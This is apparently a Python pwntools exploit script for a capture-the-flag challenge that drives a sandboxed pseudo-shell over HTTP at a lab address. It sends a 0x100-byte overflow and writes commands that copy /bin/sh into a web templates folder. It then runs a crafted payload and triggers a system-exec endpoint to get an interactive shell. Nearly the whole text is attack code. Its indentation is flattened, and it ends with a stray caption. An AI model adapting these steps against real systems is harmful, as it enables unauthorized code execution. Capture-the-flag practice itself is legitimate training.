sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
req = requests.session()
url = "http://172.26.0.2:5000"
req.get(url)
p = tube()

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1D62)\n")
pause()

def cmd(op):
sla(">",str(op))

def io_recv_raw(*a):
sleep(0.1)
r = req.get(url + "/receive")
print(r.json())
return r.json().get('output', "").encode("utf-8")
def io_send_raw(x):
r = req.post(url + "/send", data={"input": x})

p.recv_raw = io_recv_raw
p.send_raw = io_send_raw

#debug()

sla("Nepnep","a"*0x100)
data = "mkdir bin"
sla("$",data)
data = "cd bin"
sla("$",data)
data = "echo cp /bin/sh /app/templates/kernel>shell"
sla("$",data)
data = "echo "+"a"*0x100+"02"+">payload"
sla("$",data)
data = "echo mov rdi,payload;syscall 0;echo mov rdi,payload;mov rdx,260;syscall 1;>exp"
sla("$",data)
data = "exec exp"
sla("$",data)
data = "mount shell"
sla("$",data)
data = "exit"
sla("$",data)

req.get(url+"/test_system_exec")

p.interactive()

浏览器效果截图: